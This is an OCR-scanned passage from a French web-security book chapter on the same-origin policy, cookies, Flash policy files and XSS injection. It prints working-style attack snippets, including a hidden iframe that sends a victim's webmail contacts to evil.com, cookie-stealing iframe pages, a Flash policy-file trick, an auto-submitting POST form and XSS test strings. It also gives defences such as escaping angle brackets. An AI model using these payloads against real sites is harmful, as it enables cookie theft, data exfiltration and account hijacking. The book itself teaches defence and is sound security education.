prendra done la valeur par defaut 80. 
On remarque que les repertoires 
different : on traite ici "/' . alors que la 
page d' origine se situait sous "/bar" . 


http://foo.com/cgi bin/ 
version2/AppWeb 


Oui 


Le protocole et le nom de machine 
correspondent. Le port, non explicite, 
prendra done la valeur par defaut 80. 
On remarque que les repertoires 
different ; on traite ici "/cgi-bin/ 
version!", alors que la page d'origine se 
situait sous "/bar" . 
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Tableau 2.1 : Fonctionnement de la politique de meme origine lorsque la page 
http://foo.coni/bar/baz.html tente de charger certaines URL (suite) 



URL 






Puis-je y acceder ? 


Pourquoi ou pourquoi pas ? 


http : / /f 00 . 


com; 


:80/bar/ 


Oui 


L'URL est (jUtisinient identicjue. 


baz . html 








Le protocole HTTP correspond, et le 










port 80 (valeur par defaut pour ce 










protocole) comme le nom de machine 










sont les memes. 


https : / /f oc 


1. com/bar/ 


Non 


Les protocoles different. Dans le cas 


baz . html 








present, il s'agit de HTTPS. 


http : / /www. 


f 00 , 


. com/bar/ 


Non 


Les noms de machine different : on traite 


baz . html 








ici de www.foo.com et non pas de 










foo.com. 


http: //too. 


com; 


:8080/bar/ 


Non 


Les numeros de port different. On 


baz . html 








s'adresse ici au port 8080, quand le port 










d' origine avait la valeur par defaut, soit 80. 



Exceptions a la politique de meme origine 

On peut indiquer aux navigateurs d'autoriser des ecarts controles a cette regie en defi- 
nissant la variable JavaScript document .domain sur la page demandee. Plus preci- 
sement, si la page http: / /www.f oo . com /bar/ baz . html renfermait le code suivant : 

<script> 

document . domain - "foo.com"; 
</script> 

alors http: //xyz. foo.com/quelconque. html pourrait emettre une requete HTTP vers 
http: / /www.f 00 . com /bar /baz . html et en lire le contenu. 

En ce cas, si un agresseur peut injecter du HTML ou du JavaScript sur la page http : / / 
xyz.foo.com/quelconque.html, il le pourra aussi sur http://www.foo.com/bar/ 
baz . html. Pour cela, il lui suffit d'injecter sur http : / /xyz . f oo . com/quelconque . html 
un code positionnant la variable document .domain a la valeur foo.com, puis chargeant 
une iframe (cadre embarquant un autre document HTML) vers http: / /www. f oo . com/ 
bar /baz . html, page qui prevoit egalement la meme valeur pour cette variable, pour 
acceder enfin au contenu de cette iframe par JavaScript. Ainsi, placer le code suivant sur 
http: / /xyz .f 00 . com/anywhere . html produira une boite de dialogue d'alerte alert ( ) 
de JavaScript sur le domaine www . f oo . com : 

<if rame src="http: //www. foo.com/bar/baz. html" 
onload="f rames[0] .document. body. innerHTML+='<img src=x 
onerror=alert ( 1 ) ' "></if rame> 
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En d'autres termes, la variable document . domain permet a un agresseur de franchir les 
barrieres separant les domaines. 

— 0 Info 

La variable document. domain ne peut pas recevoir n'importe quelle valeur. On y placera 
forcement le superdomaine du domaine correspondant a la page concernee, par exemple 
foo.com pour www . f oo . com. 



Dans les navigateurs de la famille Mozilla (et notamment Firefox), les agresseurs 
peuvent manipuler la variable document . domain a I'aide de la fonction 
def ineGetter ( ) , de sorte que document . domain renvoie une chaine de leur choix. 
Cela n'a aucune consequence sur la politique de meme origine du programme : seul le 
moteur JavaScript est affecte, pas le modele objet de document correspondant (Document 
Object Model ou DOM). Cependant, cette technique pourrait gener les applications 
JavaScript reposant sur la valeur de document . domain pour leurs requetes inter-domaines. 
Supposons par exemple qu'une requete sous-jacente vers http://quelquesite.com/ 
Getinf ormation?callback=callbackFunction reponde ce qui suit : 

function callbackFunction ( ) { 

if ( document . domain == "sitedeconfiance.com") { 
return "Informations conf identielles " ; 

} 

return "Acces non autorise"; 

} 

Un attaquant pourrait obtenir les secrets convoites en attirant sa victime sur une page 
controlee par lui et renfermant le script suivant : 

<script> 

function callbackFunction ( ) {return 0;} 

document. defineGetter ("domain", function() {return "sitedeconfiance.com"}); 

setTimeout ( "envoielnfoAuSiteMechant (callbackFunction ( ) ) " , 1 500) ; 
</script> 

<script src="http: / /quelquesite . com/ 
Getinf ormation?callback=callbackFunct ion "> 
</script> 

Ce code HTML met en place la variable document . domain a I'aide de la fonction 

defineGetter () et realise une requete inter-domaines vers http: //quelque 
site . com/GetInf ormation?callback=callbackFunction. Apres tout cela, il appelle 
envoieInfoAuSiteMechant(callbackFunction() ) apres une seconde et demie - laps 
de temps largement suffisant pour que le navigateur emette la requete vers quelque 
site . com. Par consequent, on n'etendra document . domain pour aucune autre utilisation. 
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Que se passe-t-il en cas de panne de la politique de meme origine ? 

La politique de meme origine s' assure qu'un site web "mechant" ne peut pas acceder a 
d'autres sites web, mais que se passerait-il en cas de mauvais fonctionnement de celle- 
ci ou en son absence ? Comment un attaquant pourrait-il alors nuire ? Penchons-nous 
sur un exemple imaginaire. 

Supposons qu'un agresseur ait place sur http://www.mechant.com/index.html une 
page web qui pourrait lire les reponses HTTP issues d'un autre domaine - comme par 
exemple une application de courriel electronique sur le Web - et qu'il ait reussi a y atti- 
rer les utiUsateurs de ce webmail. II pourrait alors acceder aux contacts de ces demiers 
en pla9ant le code JavaScript suivant sur la page http://www.mechant.com/ 
index . html : 

<html> 
<body> 

<iframe style="display:none" name=" If rameDeWebMail" 
src="http: //webmail. foo.com/ViewContacts"> <!-- Etape 1 --> 
</if rame> 

<f orm action="http : / /evil . com /getCont act List " name=" FormulaireMechant "> 

<input type="hidden" name="contacts" value="def ault value"> 
</f orm> 

Nous avons pris le controle de tous vos contacts! 

</body> 

<script> 

function activerNuisance ( ) { 

var listeDeContactsDeLaVictime = document .Webmaillf name . innerHtml; 
/* Etape 3 */ 

document . FormulaireMechant . contacts - listeDeContactsDeLaVictime ; 
document . FormulaireMechant . submit ; 

} 

setTimeout ( "activerNuisance( ) " , 1000); /* Etape 2 */ 

</script> 

</html> 

La premiere etape utilise une iframe appelee If rameDeWebMail pour charger 
http://webmail.foo.com/ViewContacts, appel de I'application de webmail prevu 
pour coUecter la liste des contacts de I'utilisateur. L' etape suivante attend une 
seconde puis execute la fonction JavaScript activerNuisance ( ). Ce delai garantit le 
bon chargement de la liste de contacts dans V iframe, suite a quoi la fonction acti 
verNuisance ( ) tente d'acceder aux donnees de V iframe a I'etape 3. Si la politique de 
meme origine fonctionnait mal ou n'existait pas, 1' agresseur disposerait de la liste des 
contacts de la victime dans la variable listeDeContactsDeLaVictime. II pourrait 
alors la transmettre sur le serveur evil . com a I'aide de code JavaScript et du formulaire 
present sur la page. 

L' attaquant pourrait aggraver la situation en forgeant des requetes sur d'autres sites 
(CSRF pour Cross-site Request Forgery) afin d'expedier des courriers electroniques 
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usurpant I'identite de la victime aupres de tous ses contacts. Ces demiers recevraient 
alors un message credible, apparemment issu d'un ami, et les incitant a cliquer sur 
http: / /www.mechant . com /index . html. 

En cas de mise a mal de la politique de meme origine, toutes les applications web 
seraient vulnerables a ce type d'attaque - et pas uniquement les services de courriel. 
Plus aucune securite ne subsisterait sur le Web. De nombreux efforts ont done ete 
consacres a la recherche de faiblesses dans ce systeme, et certaines decouvertes tres 
siderantes en sortent parfois. 

Le modele de securite des cookies 

HTTP est un protocole sans etat : aucun couple requete/reponse n'y est attache a aucun 
autre. Lors de son evolution, les developpeurs ont souhaite pouvoir maintenir des infor- 
mations d'une communication a la suivante afin de construire des applications web plus 
interessantes. La RFC 2109 a done defini un standard permettant a chaque requete 
HTTP d'emettre sur le serveur quelques informations issues de I'utilisateur dans un 
en-tete particulier appele cookie. La page web comme le serveur disposent tous 
deux d'un acces en ecriture sur ces donnees, auxquelles on accede en JavaScript par 
document . cookie, et qui se presentent comme suit : 

NomDeCookiel ^ValeurDeCookiel ; NomDeCookie2=ValeurDeCookie2; 

Ces objets etant prevus pour stocker des informations confidentielles (comme des laisser- 
passer d'authentification), la RFC 2109 a precise des lignes de conduite en matiere de 
securite rappelant celles de la politique de meme domaine d'origine. 

Ce sont les serveurs qui controlent principalement les cookies : en lecture, en ecriture, 
ainsi que par la mise en place de controles de securite. Ces derniers incorporent 
notamment : 

■ domain (domaine). Attribut agissant comme la politique de meme origine, en peu 
plus restrictif. De la meme maniere, le domaine prend pour valeur par defaut le 
domain de I'en-tete Host de la requete HTTP, mais il peut aussi recevoir son 
domaine parent. Ainsi, dans le cas d'une requete HTTP vers x.y.z.com, cette 
machine pourrait mettre en place des cookies vers I'ensemble de * . y . z . com, mais 
pas vers tous les serveurs correspondant a * . z . com. Cependant, aucun domaine ne 
dispose du droit de mettre en place des cookies pour les domaines de premier niveau 
{top level domains ou TLD) tels que * . com. 

■ path (chemin). Attribut facultatif, prevu pour affiner le modele de securite du 
domaine en y incorporant le chemin de I'URL. Lorsqu'il est precise, le cookie n'est 
envoye qu'au serveur dont le chemin correspond exactement. Supposons par exemple 
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que http: //X . y . z . com/a/WebApp mette en place un cookie de chemin /a; ce 
dernier ne pourrait alors etre emis que lors de requetes vers http: / / x . y . z . com/ a/*, 
pas vers http: //x.y.z. com/index. html, ni vers http: //x.y.z.com/a/b/ 
index . html. 

■ secure (securise). Si un cookie dispose de cet attribut, il ne sera emis que lors de 
requetes HTTPS. Soulignons que les reponses HTTP comme HTTPS peuvent 
toutes mettre en place cet attribut. Par consequent, un echange HTTP pourra modi- 
fier un cookie securise prealablement mis en place sur protocole HTTPS. Cela pose 
un gros probleme pour certaines attaques elaborees, de type "homme du milieu" 
(man in the middle). 

■ expires (expiration). En general, les cookies sont detruits a Tissue de I'execution 
du navigateur. Cependant, on peut prevoir une date au format Jour, JJ-Moi-AAAA 
HH.MM.SS GMT pour stocker les cookies sur I'ordinateur de I'utilisateur et 
renvoyer les memes donnees lors de toute requete HTTP jusqu'a la date d'expira- 
tion mentionnee. Pour les detruire immediatement, on pourra donner a cet attribut 
une date deja ecoulee. 

■ HttpOnly. Cet attribut, desormais honore par Firefox comme par Internet Explo- 
rer, n'est guere employe par les applications web car pendant longtemps seul ce 
deuxieme programme le prenait en charge. En sa presence, IE en interdira toute 
lecture ou ecriture JavaScript via document . cookie. L'objectif etait d'empecher 
un agresseur de prendre connaissance de la valeur des cookies pour abuser de ces 
informations. Cela dit, rien ne I'empechait de nuire tout autant sans rien savoir sur 
les cookies. 

On affecte aux cookies des attributs de securite comme suit : 

NomDeCookiel ^ValeurDeCookiel ; domain=.y.z.com; path=/a; 
NomDeCookiel =ValeurDeCookie2 ; domain=x.y.z.com; secure 

Les langages JavaScript et VBScript, consideres a tort comme des extensions du code 
du serveur, peuvent lire et inscrire des cookies en accedant a la variable docu 
ment. cookie, sauf avec IE en presence de I'attribut HttpOnly. Cela interesse enorme- 
ment les attaquants, car les cookies renferment generalement des laissez-passer 
d'authentification, des informations de protection CSRF et autres donnees confidentiel- 
les. D'autre part, les attaques de type "homme du milieu" peuvent modifier du code 
JavaScript par-dessus HTTP. 

Si un agresseur parvient a mettre en defaut ou a contourner la politique de meme 
origine, il accedera facilement aux cookies grace au DOM et a la variable docu 
ment . cookie. II ne lui sera guere plus difficile d'intervenir en ecriture sur ces objets ; 
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il suffit pour cela d'accoler a la suite de document . cookie le format de chame 
suivant : 

var dateDeCookie = new Date ( 2030, 12, 31 ); 
document . cookie += "NomDeCookie=ValeurDeCookie; " 

/* Toutes les lignes ci-apres sont f acultatives. */ 

+ "domain=.y.z.com; " 

+ "path=/a;" 

+ "expires=" + dateDeCookie. toGMTStringO + ";" 
+ "secure; " 
+ "HttpOnly;" 

Problemes de mise en place et d'analyse syntaxique des cookies 



Popularite : 


2 


Simplicite : 


4 


Impact ^^^^^^H 


\ 6 


Evaluation du risque : 


5 



Les cookies sont employes par JavaScript, les navigateurs et serveurs web, les equili- 
breurs de charge (load balancers) et autres systemes independants. Chacun s'appuie sur 
des codes distincts pour mener leur analyse syntaxique. II ne fait done aucun doute que 
toutes ces machines liront (et comprendront) differemment ces objets. Des attaquants 
pourront aj outer ou remplacer un cookie par une valeur qui semblera differente aux 
systemes s'attendant a trouver la meme chose. Un agresseur pourra ainsi ajouter ou 
ecraser un cookie reprenant le nom d'un cookie existant. Prenons le cas d'un reglage 
d'universite, oil un attaquant dispose d'une page web publique a I'adresse http:// 
pages publiques.universite.fr/-attaquant. Supposons de plus que cette institu- 
tion propose un webmail a I'URL https://webmail.universite.fr/. L'agresseur 
pourra mettre en place un cookie pour le domaine . universite . f r qui sera emis vers 
https://webmail.universite.fr/. S'il porte le meme nom que le cookie d'authenti- 
fication sur le service de courrier electronique, ce dernier le lira. 

Le webmail comprendra peut-etre que I'utilisateur est quelqu'un d'autre et le rediri- 
gera vers un autre compte. L'agresseur pourrait alors configurer celui-ci (ce sera 
peut-etre le sien) pour presenter un unique message indiquant que suite a un 
"probleme de securite, toute la boite de reception de I'utilisateur a du etre videe, 
etqu'il faut se rendre sur http :/ /pages publiques.universite.fr/-attaquant/ 
nouvelleConnexion (ou quelque adresse moins evidemment suspecte) pour se 
reconnecter et acceder a ses archives de courrier electronique". Cette page web de 
nouvelleConnexion ressemblera a une page classique d'authentification sur le site 
de I'universite, reclamant I'identifiant et le mot de passe de la victime - transmis 
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immediatement a I'agresseur apres leur saisie. On appelle parfois ce type de demar- 
che "attaque par fixation de session", car I'attaquant fixe I'utilisateur sur une session 
de son clioix. 

N'injecter que des fragments de cookies pourra egalement perturber leur lecture sur 
certains systemes. On constate que les cookies et controles d'acces sont separes par le 
meme caractere - un point-virgule (" ; "). Si I'agresseur peut inscrire de nouveaux cookies 
par JavaScript ou a partir d'une saisie utilisateur, il lui sera possible de forger un fragment 
susceptible de modifier les caracteristiques de securite ou les valeurs d'autres cookies. 

Analyse syntaxique des cookies 

Tachez de detecter ce type d'attaques. Partez de I'hypothese que des attaques de type 
"homme du milieu" parviendront meme a ecraser des cookies securises (disposant de 
I'attribut secure) et transmis par SSL (Secure Sockets Layer). Controlez done I'inte- 
grite des cookies en les reliant a quelque etat de session. Toute alteration du cookie fera 
echouer la requete. 

Reduction du modele de securite des coolcies a la politique de la meme 
origine avec JavaScript 



Popularite : 


1 


Simplicite : 


5 


Impact : 


6 


Evaluation du risque : 


5 



Le modele de securite des cookies vise a etre plus sur que la politique de meme origine. 
Cependant, on peut I'y reduire en recourant a quelques lignes de JavaScript, de maniere 
a ce que I'attribut domain reprenne le comportement du reglage document . domain, et de 
sorte que Ton ignore totalement I'attribut path. 

Reprenons I'exemple du webmail universitaire situe a I'URL http : / /webmail . univer 
site.fr/, tandis qu'un attaquant cree une page a I'adresse http: //pages publi 
ques.universite.fr/-attaquant. Si une seule page de http:// 
webmail.universite.fr / - appelons-la mauvaisePage.html - a mal regie sa variable 
document . domain pour lui donner la valeur "universite.fr", I'attaquant pouiTa pren- 
dre connaissance des cookies de sa victime en attirant celle-ci sur http: //pages 
publiques . universite.fr/-attaquant/detournementDeCookies . htm, ce document 
renfermant le code que voici : 

<script> 

function detournementDeCookies ( ) { 
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var cookiesDeLaVictime - 
document . getElementByld ( "jAimeLesIf rames" ) .cookie; 
sendCookiesSomewhere(cookie) ; 

} 

</script> 

<if rame id=" j AimeLesIf rames " onload="detournenientDeCookies ( ) " 
style="display : none" 

src=" http : / /webmail . universite . f r/mauvaisePage" > 

Supposons a nouveau que I'attaquant controle la page web a I'adresse http:// 
pages publiques.universite.fr/-attaquant, le systeme de webmail demeurant 
en http : / /webmail . universite . f r/. Si les chemins des cookies sont proteges par 
path=/webmail, I'agresseur pourra detourner les cookies de sa victime en attirant celle- 
ci sur http: //pages publiques.universite.fr/-attaquant/detournementDe 
Cookies . html, oil Ton trouvera le code suivant : 

<script> 

function detournementDeCookies ( ) { 

var cookiesDeLaVictime - 
document . getElementByld ( "JAimeLesIf rames" ) .cookie; 

sendCookiesSomewhere (cookiesDeLaVictime) ; 

} 

</script> 

<if rame id=" j AimeLesIf rames " onload^" detournementDeCookies ( ) " 
style="display : none" 

src=" http : / /www. universite . f r/webmail/pageQuelconque . html" > 
</if rame> 

Protection des cookies 

Employez les fonctionnalites incorporees dans le modele de securite des cookies, sans 
vous reposer sur elles. Ne faites confiance qu'a la politique de meme origine, autour de 
laquelle vous batirez la securite de votre application web. 

Le modele de securite de Flash 

Flash est un greffon (plug-in) populaire disponible sur la plupart des navigateurs web. 
Ses dernieres versions incorporent des modeles de securite tres complexes susceptibles 
d'etre adaptes aux preferences du developpeur. Nous en decrirons ci-apres quelques 
aspects interessants, apres avoir precise quelques proprietes remarquables que cette 
technologic ne partage pas avec JavaScript. 

On appelle ActionScript le langage de script de Flash. Ce dernier rappelle JavaScript 
tout en definissant quelques classes interessantes du point de vue d'un attaquant : 

■ La classe Socket permet au developpeur de mettre en place des connexions TCP 
brutes vers des domaines autorises, de maniere a forger des requetes HTTP comple- 
tes en maquillant leurs en-tetes (et notamment le champ Referer, qui indique la 
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page d'origine). Cette classe sert encore a explorer quels ordinateurs et ports, par 
ailleurs fermes a I'exterieur. 

■ La classe Externallnterf ace offre la possibilite d'executer dans le navigateur, et 
depuis Flash, du code JavaScript - par exemple dans le but de manipuler en lecture 
comme en ecriture le document . cookie. 

■ Les classes XML et URLLoader menent, au nom de I'utilisateur, des requetes HTTP 
(reprenant les cookies du navigateur) vers des domaines autorises, afin de realiser 
des requetes inter-domaines. 

Par defaut, ce modele de securite reprend celui de la politique de meme origine : les 
seules reponses lisibles seront celles qui correspondent aux requetes issues du meme 
domaine que celui hebergeant 1' application Flash. Les requetes HTTP sont elles aussi 
controlees, mais on pourra mener des requetes GET inter-domaines en recourant a la 
fonction getURL de Flash. D'autre part, les applications Flash chargees par HTTP ne 
peuvent acceder aux reponses HTTPS. 

Flash pennet un certain degre de communication entre domaines si la politique de secu- 
rite du domaine distant accepte les echanges avec le domaine abritant 1' application. La 
politique de securite se presente sous forme d'un fichier XML, generalement appele 
crossdomain . xml et situe dans le repertoire racine du domaine distant. Voici la politique 
la plus laxiste possible en la matiere : 

<cross- domain- policy > 

<allow-access-f rom domain^"*" /> 
</cross-domain-policy> 

En d'autres termes, n'importe quelle application Flash pourra communiquer (entre 
domaines) avec le serveur abritant un fichier crossdomain . xml redige ainsi. 

Le nom comme 1' emplacement de ce fichier de politique sont libres ; on les precisera au 
besoin a I'aide du code ActionScript que voici : 

System. security .loadPolicy File ( "http: / /pages- publiques . " + 
"universite.fr/crossdomain.xml" ) ; 

Non placee a la racine du serveur, cette politique ne portera que sur la sous-arbo- 
rescence de fichiers issue du repertoire ou elle se trouve. Supposons par exemple 
que ce fichier soit situe sous http: //pages publiques.universite.fr/-atta 
quant /crossdomain .xml. La politique qu'il definit concemerait alors toute requete vers 
http: //pages publiques.universite.fr/-attaquant/activerNuisance.htmlet http: // 
pages publiques. universite.fr/-attaquant/pire/activerAutreNuisance . html, mais 
pas des pages comme http: //pages publiques.universite.fr/-quelqueEtudiant/ 
imagesDeFamille. html ou http: //pages publiques . universite.fr/index. html. 



42 Partie I 



Attaques contre le Web 2.0 



/ 

Ref later des fichiers de politiques 



Popularite : 


7 


Simplicite : 8 


Impact : 8 


Evaluation du risque : 


8 



Flash menant une analyse syntaxique tres laxiste des fichiers de politique, il suffit de 
constmire une requete HTTP qui fera effectuer au serveur ce type de fichier pour le lui 
faire accepter. Supposons par exemple qu'une requete AJAX vers http://www.uni 
versite .f r/ListeDesCours?f ormat=j son&callback=<cross domain policyxallow 
accessf roni%20doniain="* " / ></cross domain policy> reponde ce qui suit : 

<c ross- domain- policyxallow- access-from%20domain=" * " /> 
</cross-domain-policy> ( ) { return {name : "Anglaisi 01 " , 
desc:"Lire des livres"}, {name: "Informatique101 " , 
desc:"Jouer sur des ordinateurs" }} ; 

On pourrait alors charger cette politique grace au code ActionScript suivant : 

System. security . loadPolicyFile( " http : / /www. university . f r/ " + 
" ListeDesCours?f ormat=i son&callback=" + 
"<cross-domain-policy>" + 
" <allow- access -from%20domain=*/>" + 
"</cross-domain-policy>" ) ; 

En d'autres termes, I'application Flash disposerait d'un acces inter-domaines total sur 
http: / /www. university .fr/. 

De nombreuses personnes ont compris que s'ils peuvent mettre en ligne un fichier sur 
un serveur renfermant un fichier de politique non securise susceptible d'etre plus tard 
rapatrie sur HTTP, alors I'appel System. security. loadPolicyFile( ) respecterait lui 
aussi ce fichier de politique. Stefan Esser, du site www.hardened-php.net, a montre 
qu'on pouvait aussi placer un fichier de politique non securise dans une image GIF 
(pour en savoir plus a ce sujet, reportez-vous au tableau "Bibliographic et references" 
en fin de chapitre). 

En general, il semble que Flash respectera les directives de tout fichier renfermant la 
politique inter-domaines a moins que sa balise de fin </cross domain policy> ne soit 
precedee de balises non refermees ou de caracteres ASCII etendus. En particulier, il ne 
tient aucun compte du type MIME. 

Prevention contre les fichiers de politique refletes 

Au moment de renvoyer a I'utilisateur des donnees susceptibles d' avoir ete definies par 
lui, on veillera a echapper sous forme d'entites HTML les caracteres inferieur a (<) et 



Chapitre 2 



Injection de donnees arbitraires dans un site web 43 



superieur a (>), respectivement en "&lt ; " et "&gt ; ". Une solution plus radicale consiste 
a les eliminer totalement. 

Injection de donnees arbitraires parXSS en trois etapes 



Popularite : 


10 


Simplicite : 8 




Evaluation du risque : 


8 



Comprenant desormais les controles de securite places dans les navigateurs web, on 
peut tenter de les contourner en XSS. 

XSS vise principalement a contourner la politique de meme origine en injectant (ou 
pla9ant) dans 1' application web du JavaScript, du VBScript ou tout autre langage de 
script accepte par le navigateur et choisi par 1' attaquant. Si 1' agresseur peut incorporer 
ce type d' element oil que ce soit dans une application web vulnerable, le navigateur ne 
comprendra pas que ce code est issu d'un malveillant, et le pensera legitime. Par conse- 
quent, le script fonctionnera depuis le domaine de 1' application web vulnerable, d'oil il 
pourra realiser ce qui suit : 

■ acceder en lecture aux cookies employes par 1' application web vulnerable ; 

■ observer le contenu des pages servies par 1' application web vulnerable, et meme les 
renvoyer a 1' attaquant ; 

■ modifier 1' aspect de 1' application web vulnerable ; 

■ realiser des appels sur le serveur hebergeant 1' application web vulnerable. 

L'injection de donnees arbitraires par XSS se deroule en trois etapes : 

1. Injecter du HTML. Nous presentons diverses manieres d'incoiporer du code dans 
les applications web. Tous les exemples d'injection de HTML exposes se contenteront 
d'introduire une boite de dialogue d'alerte alert ( 1 ) de JavaScript. 

l.Nuire. Si les boites d'alerte ne vous impressionnent pas, nous evoquerons des 
actions plus dangereuses qu'un agresseur pourra mener a bien si la victime clique 
sur un lien compromis par une injection de HTML. 

'i.Attirer la victime. En dernier lieu, nous nous interesserons aux manieres de forcer 
les victimes a executer le code JavaScript malveillant. 
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Premiere etape : injection de HTML 

II existe de tres nombreuses manieres d'injecter du HTML (et surtout des scripts) 
dans les applications web. Souvent, il suffit par exemple d'y decouvrir une reponse 
HTTP reprenant exactement les donnees precedemment fournies par une requete 
HTTP - y compris les chevrons, parentheses, points, signe egal, etc. II s'agit sure- 
ment d'une faille XSS pour cette application web et ce domaine. Dans cette section, 
nous tenterons d'exposer la plupart des methodes d'injection de HTML, sans 
pouvoir pretendre a I'exhaustivite. Toutefois, ces techniques fonctionneront proba- 
blement sur la plupart des sites web de taille petite ou moyenne. En faisant preuve de 
perseverance, vous parviendrez peut-etre aussi a employer I'une d'entre elles sur un 
site web de premier ordre. 

Injection de HTML classique, reflete ou stocke 

L'attaque XSS la plus repandue s'appuie sur une injection de HTML reflete, oil une 
application web accepte des donnees de I'utilisateur dans une requete HTTP, avant de 
les reprendre telles quelles dans le corps de la reponse HTTP correspondante. Dans un 
tel cas de figure, le navigateur pourra interpreter ces informations comme du HTML, du 
VBScript ou du JavaScript valides. 

Considerons la portion de code PHP suivante, cote serveur : 

<html> 
<body> 
<?php 

if (isset($_GET[ 'Userlnput' ] ) ){ 

$out = 'vous avez saisi: "' . $_GET[ ' Userlnput ' ] . 
} else { 

$out = '<form method="GET">saisissez quelque chose ici: '; 
$out .= '<input name="L)serInput" size="50">'; 
$out .= '<input type=" submit ">' ; 
$out .= '</forni>' ; 

} 

print $out; 
?> 

</body> 
</html> 

La Figure 2.1 donne Failure de cette page si Ton place ce code a I'adresse http: // 
pages publiques . universite.fr/-quelqueUtilisateur/LeconDePHP . php. 

Quand I'utilisateur clique sur le bouton validant sa demande, I'application web realise 
sur le serveur la requete GET suivante : 

http: / /pages- publiques. universite.fr/-quelqueUtilisateur/LeconDePHP. php? 
UserInput=toto 
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I Mozilla Firefox 



Fichier Edition AFI^ichage Historique Marque-pages Outils ? 



C X 



I I I http://pages-publiques.univer5ite,Pr/'-^quelqueUtilisateui ~^ 



Google 



3 



saisissez quelque chose ici: toto| 



Envoyer 



Figure 2. 1 

Exemple de script PHP acceptant des saisies utilisateur (LeconDePHP . php). 



L' application PHP constate que I'utilisateur a saisi toto et repond en presentant la page 
presentee Figure 2.2. 

Voici le code source HTML correspondant a cette derniere, oti nous avons mis en gras 
la saisie de I'utilisateur. 

<html> 
<body> 

vous avez saisi: "toto". 

</body> 

</html> 



O Mozilla Firefox 


□[ 


^1® 


Fichier Edition AFfichage Historique Marque-pages Outils 1 




O 



vous avez saisi: toto . 



http://pages-publiques.universite,fr/'--quelquetJtilisateui -> " El' Google 



Termine 




Figure 2.2 

Reponse du script LearningPtip . php apres saisie de "toto " par I'utilisateur 
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Evidemment, I'utilisateur peut saisir exactement ce qui lui plait, et notamment 
"<script>alert(1 )</script>", "<body onload=alert(1 )>", "<inig src=x oner 
ror=alert(1 )>" ou toute autre solution susceptible d'injecter du code JavaScript dans 
la page. La premiere solution ferait emettre la requete GET suivante aupres du serveur : 

http: // pages-publiques.universite.fr/-quelqueUtilisateur/LeconDePHP.php? 
Userlnput=<script>alert (1 )</script> 

Comme ci-dessus, 1' application PHP se contente de reprendre la saisie utilisateur dans 
sa reponse. Cette fois, le navigateur inteiprete cela comme des instructions JavaScript, 
issues du serveur (ce qui est techniquement parlant le cas), qu'il execute done. La 
Figure 2.3 presente ce qu'obtiendrait I'utilisateur dans ce cas. 

Le code HTML de la page, illustree a la Figure 2.3, est donne ci-apres. A nouveau, la 
saisie de I'utilisateur y est en gras. 

<html> 
<body> 

vous avez saisi: "<script>alert ( 1 )</script>" . 

</body> 

</html> 




d ^( f*!^ ^ I h^^p://page5-publique5.univer5i^e.Pry-^quelqueUHIi5al:eui " | | |G| | Google 



VOUS avez saisi: 



[ApplkatiDn JavaScript] 




Figure 2.3 

Ce que I'on obtient apres avoir injecte <script>alert(1 )</script> dans http://pages-publiques.uni- 
versite.fr/~quelqueUtilisateur/LeconDePHP.plip. 



Cet exemple presente une injection de HTML reflete, car I'utilisateur a transmis du code 
JavaScript dans une requete HTTP, donnees que 1' application web a immediatement 
reprises a I'identique (ou refletees) dans sa reponse. Pour executer ce script, il suffit a 
n'impoite qui de cliquer sur le lien suivant : 
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http: / /pages-publiques. universite.fr /-quelqueUtilisat eur/LeconDePHP. php? 
input=<script>alert(1 )</script> 

Du point de vue de I'agresseur, il est tres important qu'une injection de HTML n'impli- 
que qu'un seul clic ou plusieurs dies previsibles susceptibles d'etre realises sur une 
page web malveillante. Supposons que I'application PHP precedente n'accepte que les 
requetes de type POST et pas de type GET, comme dans le code suivant : 

<html> 
<body> 
<?php 

if (isset($_POST[ 'Userlnput ' ] ) ){ 

$out = 'vous avez saisi: "' . $_POST[ ' Userlnput ' ] . 
} else { 

$out = '<form niethod="POST">saisissez quelque chose ici: '; 
$out .= '<input name="UserInput" size="50">'; 
$out .= '<input type="submit"> ' ; 
$out .= '</form>' ; 

} 

print $out; 
?> 

</body> 
</html> 

Dans un tel cas de figure, I'attaquant devra travailler un peu plus pour realiser son injection 
de HTML en un seul clic. A cette fin, il produira la page HTML que voici : 

<html> 
<body> 

<form name="formulairelVlalveillant" method="POST" action="http: //pages- 
publiques . universite.f r/-quelqueUtilisateur/LeconDePHP.php"> 

<input type="hidden" name="UserInput" value="<script>alert(1 )</script>"> 
</f orm> 
<script> 

document . f ormulaireMalveillant . submit ( ) 
</script> 
</body> 
</html> 

Cliquer sur un lien menant vers le code HTML ci-dessus realisera une injection de HTML 
sur http : / /pages publiques . universite . f r/-quelqueUtilisateur/LeconDePHP . php. 
Evidemment, de veritables agresseurs ne se contenteront pas d'un simple appel a une 
boite de dialogue, mais realiseront des actions plus dangereuses. La section "Deuxieme 
etape : nuire" detaille 1' arsenal a leur disposition. 

Une injection de HTML stocke ressemble beaucoup a une injection de HTML reflete. 
Elle n'en differe que parce que I'attaquant place le script dans I'application web, oii il 
sera stocke pour etre repris plus tard. Imaginons par exemple un forum web permettant 
aux utilisateurs de publier et de lire des messages. Un agresseur pourrait injecter du 
HTML lors de I'envoi d'un article, puis executer ce script en visualisant le message qui 
I'abrite. 
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Decouverte d'injections de HTML stocke et reflate 

Pour trouver des possibilites d'injections de HTML stocke ou reflete, on tentera 
d'injecter un script dans toutes les saisies de formulaires, visibles ou cachees, et dans 
tous les parametres d'une requete GET ou POST. On supposera que toute valeur de 
chaque couple parametre/valeur est potentiellement vulnerable. On tentera meme 
d'injecter du HTML dans de nouveaux parametres, comme suit : <script>alert 
( ' parametre ' )</script>=<script>alert ( ' valeur ' ) </script> 

On pourra meme decouvrir des couples parametre/valeur dans d'autres portions de 
I'application web et injecter le script en lieu et place de leur valeur. Sur la plupart 
des applications web modernes, le nombre de points d'insertions potentiels pour 
I'injection de HTML semble infini - et en general un ou deux fonctionneront. Ne negli- 
gez aucun couple parametre/valeur, aucune URL, aucun en-tete HTTP, etc. Tentez 
d'injecter des scripts partout ! Les endroits oil cette technique fonctionne s'averent 
parfois extremement surprenants. 

Parfois, de simples chaines de test pour I'injection de HTML, comme 
<script>alert(l)</script>, ne fonctionneront pas faute d'apparaitre dans le corps de la 
reponse. Imaginons par exemple le cas d'une requete vers http : / /moteur . de . recher 
Che . com/search?p=<script>alert (1 )</script>, reprenant la chaine d'injection dans 
un champ de formulaire pre-rempli, comme suit : 

<form input="text" name="p" value="<script>alert(1 )</script>"> 

Malheureusement, les balises de debut et de fin de script, traitees comme des chaines 
par le champ de saisie du formulaire, ne seront pas executees. Essayez plutot la requete 
http: / /moteur. de. recherche. com /search?p="><script>alert(1 )</script>. II est 
